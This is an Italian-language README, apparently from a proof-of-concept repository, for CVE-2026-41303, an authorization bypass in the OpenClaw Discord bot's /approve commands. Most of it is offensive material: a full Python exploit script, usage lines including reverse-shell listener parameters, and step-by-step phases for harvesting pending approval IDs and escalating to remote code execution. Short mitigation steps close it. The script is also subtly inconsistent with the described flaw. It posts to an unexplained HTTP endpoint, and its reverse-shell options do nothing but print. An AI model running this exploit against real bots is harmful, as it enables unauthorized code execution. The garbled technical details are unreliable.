
Documentazione tecnica e proof-of-concept per CVE-2026-41303, un bypass dell'autorizzazione nel bot Discord OpenClaw, inclusa la metodologia di sfruttamento, le fasi di mitigazione e le raccomandazioni difensive.
Documentazione tecnica completa sulla vulnerabilità di bypass dell'autorizzazione in OpenClaw
Questo repository contiene informazioni tecniche, analisi e raccomandazioni sulla vulnerabilità CVE-2026-41303, che consente il bypass dell'autorizzazione nei comandi di approvazione dell'esecuzione nel progetto OpenClaw.
È stata identificata una falla critica nelle versioni di OpenClaw precedenti alla 2026.3.28. Il problema risiede nei comandi di approvazione testuale di Discord, dove utenti che non appartengono alla lista degli approvatori autorizzati (channels.discord.execApprovals.approvers) possono approvare richieste di esecuzione host in sospeso.
| Parametro | Valore |
|---|---|
| ID CVE | CVE-2026-41303 |
| Prodotto Interessato | OpenClaw |
| Tipo di Vulnerabilità | Authorization Bypass (CWE-863) |
| Vettore di Attacco | Comandi testuali in Discord |
| Piattaforma | Linux / Discord |
| Punteggio CVSS | 8.8 (Alta) |
| Versioni Interessate | < 2026.3.28 |
| Stato | Corretta in v2026.3.28+ |
La vulnerabilità risiede nella mancanza di validazione dell'autorizzazione nel gestore dei comandi /approve del bot OpenClaw. Il sistema non verifica correttamente se l'utente che esegue il comando appartiene alla lista degli approvatori autorizzati prima di elaborare la richiesta.
Un attaccante con accesso al canale Discord dove vengono gestite le approvazioni può:
Utente Non Autorizzato
↓
Accesso al Canale Discord
↓
Identifica ID di Approvazione in Sospeso
↓
Esegue comando /approve
↓
Bot Approva senza Validare i Permessi
↓
Esecuzione di Codice Remoto (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Configurazione degli argomenti professionale per l'audit
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Bypass di approvazione in OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Esempi di utilizzo:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL dell'istanza o contesto del bot")
parser.add_argument("--token", required=True, help="Token Discord dell'attaccante/auditor")
parser.add_argument("--channel-id", required=True, help="ID del canale Discord")
parser.add_argument("--approval-id", required=True, help="ID dell'approvazione da bypassare")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Tipo di decisione di approvazione (default: allow-once)")
# Parametri aggiuntivi per la post-esplorazione
parser.add_argument("--lhost", help="IP per reverse shell se l'approvazione attiva una RCE")
parser.add_argument("--lport", help="Porta di ascolto")
parser.add_argument("--verbose", "-v", action="store_true", help="Modalità verbose")
args = parser.parse_args()
# Logica di sfruttamento
print(f"[*] Avvio bypass per l'approvazione: {args.approval_id}")
print(f"[*] Canale obiettivo: {args.channel_id}")
print(f"[*] Decisione: {args.decision}")
if args.verbose:
print(f"[DEBUG] Token: {args.token[:20]}...")
print(f"[DEBUG] Target: {args.target}")
# Costruzione della richiesta malformata
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Invio del comando /approve senza validazione dei permessi
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Bypass riuscito! Approvazione eseguita.")
print(f"[+] Risposta: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell configurata su {args.lhost}:{args.lport}")
else:
print(f"[-] Errore: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Eccezione: {str(e)}")
if __name__ == "__main__":
main()
# Utilizzo di base
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Modalità verbose
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Con reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Ottenere accesso al canale Discord dove interagisce OpenClaw
2. Monitorare i messaggi del bot per identificare ID di approvazione in sospeso
3. Catturare il formato esatto delle richieste di approvazione
4. Documentare la struttura dei comandi /approve
1. Eseguire lo script PoC con gli ID catturati
2. Inviare la decisione (allow-once o allow-always) insieme ai parametri
3. Il bot elabora il comando senza validare i permessi dell'utente
4. L'approvazione viene eseguita con successo
Se l'approvazione testuale in Discord attiva funzioni automatiche sul server:
↓
Deploy di codice
↓
Esecuzione di Codice Remota (RCE)
↓
Compromissione totale del sistema
1. Aggiornare OpenClaw
# Aggiornare alla versione 2026.3.28 o superiore
pip install --upgrade openclaw>=2026.3.28
# Oppure dal repository ufficiale
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Verificare la Configurazione
# Verificare channels.discord.execApprovals.approvers
# File: config.yaml